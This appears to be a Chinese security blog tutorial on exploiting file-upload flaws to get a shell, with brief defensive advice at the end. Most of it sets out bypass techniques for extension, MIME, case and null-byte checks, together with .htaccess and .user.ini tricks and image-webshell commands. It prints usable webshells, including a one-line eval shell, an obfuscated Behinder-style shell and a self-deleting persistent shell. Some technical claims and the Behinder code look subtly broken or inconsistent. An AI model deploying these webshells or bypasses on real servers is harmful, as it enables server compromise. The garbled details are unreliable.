文件上传漏洞:我是如何绕过WAF实现getshell的
作者:浅木·先生
前言
文件上传漏洞是Web安全中最"简单粗暴"的漏洞之一------不需要复杂的绕过,不需要高深的技术,只要找到一个可以上传文件的地方,上传一个Webshell,马上就能拿到服务器权限。
但它也是实战中利用成功率最高的漏洞之一。业务系统需要用户上传头像、附件、文档,上传功能无处不在,而其中相当一部分存在校验不严的问题。
本文系统讲解文件上传漏洞的成因、绕过技巧和实战利用,帮你掌握这个渗透测试中的"一把钥匙"。
一、文件上传漏洞原理
1.1 漏洞成因
文件上传漏洞的本质是:服务器对用户上传的文件没有做充分的验证和限制,导致攻击者上传了不该上传的文件类型(如Webshell),并在服务器上被执行。
php
// 存在漏洞的代码示例
$upload = $_FILES['upload'];
move_uploaded_file($upload['tmp_name'], '/var/www/html/' . $upload['name']);
// 没有任何验证,直接保存到Web目录
正常用户上传:avatar.jpg → 服务器存储
攻击者上传:shell.php → 服务器执行 → getshell
1.2 危害等级
文件上传漏洞的最终危害取决于上传文件的执行效果:
| 上传文件类型 | 潜在危害 |
|---|---|
| Webshell(PHP/ASP/JSP) | 直接RCE,最高危 |
| HTML/SVG | 存储型XSS |
| 恶意文件(EXE/BAT) | 诱导用户下载执行 |
| .htaccess/.user.ini | 重绑定MIME或触发PHP后门 |
| 大文件 | 消耗服务器磁盘/DOS |
二、常见的上传绕过技巧
2.1 前端绕过
仅依赖JavaScript在客户端做校验,攻击者可直接禁用JS或抓包修改。
javascript
// 前端JS校验代码示例
function checkUpload() {
var file = document.getElementById("file").value;
if (file == "") {
alert("请选择文件");
return false;
}
var ext = file.split(".")[1].toLowerCase();
if (ext != "jpg" && ext != "png") {
alert("只允许上传jpg/png图片");
return false;
}
return true;
}
绕过方法:
- 禁用JavaScript: 浏览器设置中关闭JS,或用BurpSuite抓包修改
- 抓包修改: 先上传合法图片,拦截响应改后缀为
.php - F12修改代码: 直接删除表单的
onsubmit事件
2.2 MIME类型绕过
服务器校验Content-Type头,攻击者抓包修改为合法MIME类型。
bash
# 正常上传时,BurpSuite拦截,修改Content-Type
Content-Type: application/x-php # ← 改为下面这个
Content-Type: image/jpeg
常见MIME类型对应:
| 文件类型 | MIME值 |
|---|---|
| JPG图片 | image/jpeg |
| PNG图片 | image/png |
| GIF图片 | image/gif |
| HTML | text/html |
| PHP | application/x-php |
| ASP | application/x-asp |
2.3 扩展名绕过
黑名单方式过滤文件扩展名,但黑名单往往不完整。
常见扩展名变体:
| 原始扩展 | 绕过变体 |
|---|---|
.php |
.php3 .php4 .php5 .phtml .phar .pht |
.asp |
.aspx .asa .cer .cdx .asax |
.jsp |
.jspx .jspf .jse |
Apache多后缀解析:
shell.php.jpg → Apache从右往左解析,遇到.php就以PHP执行
Nginx CGI解析漏洞:
shell.jpg%00php → 截断后以PHP执行
shell.jpg/ → 某些配置下以PHP执行
2.4 大小写绕过
Windows系统不区分大小写,Linux区分。利用这一点:
shell.PhP → Windows可解析为shell.PhP(绕过大小写过滤)
shell.php → Linux无法解析,但Windows可以
2.5 空格或点绕过(Windows特性)
Windows文件末尾的空格和点会被自动去除:
bash
# 上传时抓包,在文件名末尾加空格或点
shell.php (末尾有空格)
shell.php. (末尾有点)
注意: 需要BurpSuite拦截修改,手动在文件名后加%20或.。
2.6 双写绕过
某些WAF会删除文件名中的敏感字符(如.php),使用双写可以绕过:
shell.pphphp → 删除中间的.php后剩下shell.php
三、00截断绕过
00截断是文件上传绕过中最经典的手法之一。
3.1 原理
%00是空字符(NULL)的URL编码。在某些函数处理文件路径时,遇到%00会认为是字符串结束符,截断后面的内容。
3.2 实战利用
php
// 存在00截断漏洞的代码
$filename = $_GET['filename'];
$ext = $_GET['ext'];
// 保存为 /uploads/ + filename + . + ext
// 访问:/uploads/avatar.php%00.jpg → 实际保存为avatar.php
bash
# 上传时构造URL
POST /upload.php?filename=shell.php&ext=jpg
# Body中:
filename=shell.php%00.jpg
# 服务器拿到filename后,遇到%00截断,实际保存为shell.php
条件: PHP版本 < 5.3.4,且magic_quotes_gpc=off。
3.3 0x00截断
在二进制层面修改文件头,将00(十六进制)注入到文件名中:
avatar.php%00.jpg → avatar.php + \x00 + .jpg
四、配合文件包含实现上传绕过
很多上传点限制了上传文件类型,不允许直接上传PHP,但如果存在文件包含漏洞,可以将其他格式文件"转化"为PHP执行。
4.1 图片马制作
bash
# 制作图片马:在一个正常JPG文件末尾追加PHP代码
echo '<?php eval($_POST[cmd]);?>' >> shell.jpg
# 或者用copy命令
copy normal.jpg /b + shell.php /b shell.jpg
利用方式:
# 先上传图片马 shell.jpg
# 如果存在本地文件包含:
?file=shell.jpg
# 文件包含会执行PHP代码,getshell
4.2 .htaccess和.user.ini
.htaccess(Apache):
apache
# 上传一个.htaccess,内容如下
AddType application/x-httpd-php .jpg
# 然后上传shell.jpg,Apache会将.jpg当作PHP执行
.user.ini(PHP):
ini
# 上传.user.ini,内容
auto_prepend_file=shell.jpg
# 目录下所有PHP文件都会先包含shell.jpg
五、实战利用流程
5.1 标准getshell流程
步骤1:找到上传点(头像/附件/文档上传)
步骤2:测试允许的文件类型(jpg/png/pdf/zip)
步骤3:尝试绕过(改MIME/大小写/%00截断/双写)
步骤4:上传Webshell
步骤5:访问shell路径,用菜刀/冰蝎连接
步骤6:获得服务器权限
5.2 一句话木马与Webshell工具
最简单的一句话木马:
php
<?php @eval($_POST['pass']); ?>
冰蝎3 Webshell(免杀能力强):
php
<?php
@error_reporting(0);
session_start();
$key = "e45e329feb5d2"; // 密钥
$_SESSION['k'] = $key;
$post = file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t = "base64_decode";
}
else
{
$t = "base64_decode";
$post = $t(substr($post,22));
}
$data = $t($post);
if(@array_key_exists('key',$_SESSION))
{
$key = $_SESSION['key'];
$off = function_exists("openssl_decrypt");
$buf = $off ? openssl_decrypt($data, "AES128", $key) : $data;
$莎 = strpos($buf,":"); // 这里用了中文字符混淆
if($莎){
@eval(substr($buf,$莎+1));
}
}
?>
5.3 无文件webshell(内存马)
如果上传点被修复,还可以尝试直接写入内存马(不死马):
php
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
$cmd = $_POST['x'];
echo `$cmd`;
sleep(5);
}
?>
六、文件上传漏洞防御
6.1 代码层面防御
扩展名白名单(最佳方案):
php
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$file_ext = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);
if (!in_array($file_ext, $allowed_ext)) {
die("不支持的文件类型");
}
MIME类型校验:
php
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['upload']['type'], $allowed_mime)) {
die("禁止上传");
}
上传目录不可执行:
php
// 将上传文件保存到Web目录之外
$upload_dir = '/var/www/uploads/';
move_uploaded_file($_FILES['upload']['tmp_name'], $upload_dir . $filename);
// 同时需要配置Web服务器,禁止访问/uploads/目录下的PHP文件
6.2 服务器配置防御
Nginx配置:
nginx
location /uploads/ {
alias /var/www/uploads/;
location ~ \.php$ {
deny all;
}
}
Apache配置:
apache
<Directory "/var/www/uploads">
<FilesMatch ".php.*">
Order deny,allow
Deny from all
</FilesMatch>
</Directory>
6.3 通用安全建议
- 禁止上传目录的脚本执行权限(最有效)
- 文件重命名(上传后用随机字符串命名)
- 文件内容检测(检查文件头是否为真正的图片)
- 存储位置隔离(不要放在Web可访问目录)
总结
文件上传漏洞的核心是服务器对上传文件的类型和路径没有做严格控制。
绕过前端的本质是抓包修改;绕过服务器校验的核心是00截断、扩展名变体、配合文件包含 。而最好的防御是白名单 + 上传目录不可执行。
在渗透测试中,文件上传往往是最快的突破口,遇到上传点不要跳过,多试试各种绕过手法。
关于作者
作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。
如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以私信留言,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈 浅木·先生